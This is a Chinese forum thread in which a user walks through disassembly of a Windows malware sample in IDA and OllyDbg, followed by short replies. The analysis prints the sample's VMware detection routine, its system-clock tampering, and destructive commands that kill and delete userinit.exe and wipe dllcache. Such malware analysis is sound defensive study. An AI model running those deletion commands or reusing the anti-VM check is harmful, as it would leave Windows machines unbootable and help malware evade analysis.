roxiel 发表于 2010-1-12 16:36

分析某恶意程序 by roxiel[LSG]

本帖最后由 是昔流芳 于 2011-2-11 14:43 编辑

样本就放这里了


IDA先瞅一眼,是个基于对话框的MFC


.text:00401398               sub   esp, 44h
.text:0040139B               push    ebx
.text:0040139C               push    esi
.text:0040139D               push    edi
.text:0040139E               mov   esi, ecx
.text:004013A0               call    ?OnInitDialog@CDialog@@UAEHXZ ; CDialog::OnInitDialog(void)


这样直接开OD,断在OnInitDialog就可以了
这里有必要说明一下,在Dialog创建之前,也是可能存在恶意代码的
由于在IDA中看到了恶意代码是在OnInitDialog开始的,所以才这么断的。。
bp 4013a0

来到下面的位置
接下来几段的MENU和SendMessage不用看

00401430|.50            push    eax                              ; /lParam
00401431|.6A 00         push    0                              ; |wParam = 0
00401433|.68 80000000   push    80                               ; |Message = WM_SETICON
00401438|.51            push    ecx                              ; |hWnd
00401439|.FFD3          call    ebx                              ; \SendMessageA
====================================幽灵之忽略的分割线=====================================
0040143B|.E8 00FDFFFF   call    00401140
00401440|.85C0          test    eax, eax
00401442|.74 0E         je      short 00401452
00401444|.6A 00         push    0
00401446|.68 14C14200   push    0042C114                         ;ASCII "Warning"
0040144B|.68 A4C24200   push    0042C2A4                         ;ASCII "Son of bitch under Vmware"

判断虚拟机
跟进 0040143B 这个CALL看一看


00401140   push    ebp
00401141   mov   ebp, esp
00401143   push    -1
00401145   push    004236B0
0040114A   push    00409E1C                         ;SE 处理程序安装
0040114F   mov   eax, dword ptr fs:
00401155   push    eax
00401156   mov   dword ptr fs:, esp
0040115D   sub   esp, 10
00401160   push    ebx
00401161   push    esi
00401162   push    edi
00401163   mov   dword ptr , esp
00401166   mov   dword ptr , 0
0040116D   pushad                                                 ;从这里开始判断了
0040116E   pushfd                                                ;
0040116F   xor   ebx, ebx
00401171   mov   ecx, 0A                  
00401176   mov   eax, 564D5868               ;F8完了看一眼EAX,是"VMXh"
0040117B   mov   dx, 5658                           ;VMXh-M-h="VX"
0040117F   in      eax, dx                                        ;应该是个调用之类的
00401180   cmp   ebx, 564D5868               ;看样子结果是存在ebx里了,和VMXh比较
00401186   sete    al
00401189   movzx   eax, al                                 
0040118C   mov   dword ptr , eax ;返回比较结果
00401191   popfd
00401192   popad


然后一路F8或者直接RETN
再回来

0040143Bcall    00401140
00401440test    eax, eax
00401442je      short 00401452
00401444push    0
00401446push    0042C114                         ;ASCII "Warning"
0040144Bpush    0042C2A4                         ;ASCII " !!已被滤霸过滤!! In Vmware !!!"
00401450jmp   short 00401485
00401452call    004011D0
00401457test    eax, eax
00401459je      short 00401469
0040145Bpush    0
0040145Dpush    0042C114                         ;ASCII "Warning"
00401462push    0042C27C                         ;ASCII " !!已被滤霸过滤!!! VPC"
00401467jmp   short 00401485
00401469call    00401250
0040146Etest    eax, eax
00401470push    0
00401472push    0042C114                         ;ASCII "Warning"
00401477je      short 00401480
00401479push    0042C250                         ;ASCII "Son of!!已被滤霸过滤!! VM "
0040147Ejmp   short 00401485
00401480push    0042C21C                         ;ASCII "Son of!!已被滤霸过滤!!^$#fdHost"
00401485mov   ecx, esi
00401487call    00419B92                            ;这里是Messagebox
0040148Cjmp   short 0040149E



用伪代码解释

if( ISVmware() )
{...参数1}
else if( ISVPC() )
{...参数2}
else if (ISVM())
{...参数3}
...



下面接着到0040149E来看,IDA这里看得更清楚

0040149Elea   edx, dword ptr
004014A1push    edx                                                    ; lpSystemTime
004014A2call    dword ptr [<&KERNEL32.GetSystemT>; ds:GetSystemTime
004014A8lea   eax, dword ptr                      ;取得,这里的方式是引用的方式,也就是下面的SetXXX函数可以直接修改取得的wYear
004014ABmov   word ptr , 833                     ;== 833h 设置年份
004014B1push    eax                                                    ; lpSystemTime
004014B2call    dword ptr [<&KERNEL32.SetSystemT>;ds:SetSystemTime
004014B8lea   ecx, dword ptr                       ;
004014BBpush    ecx                              ; lpLocalTime
004014BCcall    dword ptr [<&KERNEL32.SetLocalTi>; ds:SetLocalTime
004014C2push    0
004014C4push    0042C114                         ;ASCII "Warning"
004014C9push    0042C1EC                         ;ASCII !!已被滤霸过滤!!
004014CEmov   ecx, esi
004014D0call    00419B92                           ;惯例又是一个MessageBox

下面就看关键的地方


0040159A|push    80                                        ; /FileAttributes = NORMAL
0040159F|push    eax                                       ; |FileName
004015A0|call    dword ptr [<&KERNEL32.SetFileAttributesA>>; \SetFileAttributesA      设置文件属性
004015A6|lea   ecx, dword ptr
004015A9|call    00417E02
004015AE|lea   eax, dword ptr
004015B1|lea   ecx, dword ptr
004015B4|push    eax
004015B5|call    00402660
004015BA|mov   eax, dword ptr
004015BC|push    eax                                       ; /FileName
004015BD|call    dword ptr [<&KERNEL32.DeleteFileA>]       ; \DeleteFileA                     删除文件
004015C3|lea   ecx, dword ptr
004015C6|call    00417E02
004015CB|mov   eax, dword ptr
004015CE|test    eax, eax
004015D0\jnz   00401501
004015D6lea   ecx, dword ptr
004015D9call    00402327
004015DEpush    0
004015E0push    0042C1A0                                 ;ASCII "C:\WINDOWS\system32\userinit.exe"
004015E5lea   ecx, dword ptr
004015E8call    00402371                                    ;FindFile
004015EDtest    eax, eax
004015EFje      004016D5                                    




0040166Cpush    0
0040166Epush    0042C114                                 ;ASCII "Warning"
00401673push    0042C174                                 ;ASCII "Malware scripts had been Pending removed"
00401678mov   ecx, esi
0040167Acall    00419B92                                    ;MessageBox
0040167Flea   ecx, dword ptr
00401682push    ecx
00401683lea   ecx, dword ptr
00401686call    00402660
0040168Bmov   eax, dword ptr
0040168Dpush    80                                       ; /FileAttributes = NORMAL
00401692push    eax                                        ; |FileName
00401693call    dword ptr [<&KERNEL32.SetFileAttributesA>] ; \SetFileAttributesA   文件属性
00401699lea   ecx, dword ptr
0040169Ccall    00417E02
004016A1lea   edx, dword ptr
004016A4lea   ecx, dword ptr
004016A7push    edx
004016A8call    00402660
004016ADmov   eax, dword ptr
004016AFpush    eax                                        ; /FileName
004016B0call    dword ptr [<&KERNEL32.DeleteFileA>]      ; \DeleteFileA         删除文件
004016B6lea   ecx, dword ptr
004016B9call    00417E02
004016BEpush    0042C154                                 ;ASCII "Taskkill /f /IM userinit.exe"                                             
004016C3call    00409EF4                                    ;系统调用结束userinit
004016C8push    0042C124                                 ;ASCII "del %SystemRoot%\system32\userinit.exe /f /q /s"
004016CDcall    00409EF4                                    ;系统调用删除userinit
004016D2add   esp, 8


除了DELETEFILE和系统调用,还有MoveFile,由于贴代码太麻烦这里就不赘述了
它删了所有dllcache里的文件和userinit
导致进不去系统
后半部分的伪代码大致如下



while(FindFile("C:\\WINDOWS\\system32\\dllcache\\*"))
{
FindResumeNext();
MoveFileEx(...);
SetFileAttributes(...);
DeleteFile(...);
}

if(FindFile("C:\\WINDOWS\\system32\\userinit.exe"))
{
if(MoveFileEx(...)==SECUESS);不得不说,这个逻辑很火星
{
    SetFileAttributes(...);
    DeleteFile(...);
    Taskkill /f /IM userinit.exe
    del %SystemRoot%\\system32\\userinit.exe
}
}



把这些都屏蔽掉之后,我们运行程序,会发现对话框中有一个按钮


接下来怎么玩呢,OD重新载入
bp 4013a0
运行,断下来的CALL按空格修改,
修改为jmp 4016ed
这样就直接把InitDialog过去了
再运行,界面就出来了

然后设消息断点,202 LBUTTONUP

然后发现是大段的数学计算。。。。呃,那就到此为止吧

紫色 发表于 2010-1-12 16:48

我看一下 大部分还看不懂哦

roxiel 发表于 2010-1-12 16:50

回复 2# 紫色


    如果这不是MFC,可能就更好明白一点

smallyou93 发表于 2010-1-12 16:51

李教授千秋万载,一统江湖

1322 发表于 2010-1-12 20:47

楼上回复 也忒强了点儿

是昔流芳 发表于 2010-1-12 20:59

膜拜一剑
顺便好奇一下4楼是怎么会这句话的,我记得我曾经用这句话来形容过孔子

liuxianfu 发表于 2010-1-12 21:13

分析这种恶意程序很费时间的.我从来不碰,找杀软去解决

阿呆不呆啦 发表于 2010-1-12 22:04

这是高手们做得事!

kongzi 发表于 2010-1-16 12:32

回复 6# 是昔流芳


    :(eew 芳芳怎么能这么说,膜拜一下李叫兽

roxiel 发表于 2010-1-16 18:35

回复 9# kongzi


    :)eee      难得你俩都出来冒个泡。。。
页: [1] 2
查看完整版本: 分析某恶意程序 by roxiel[LSG]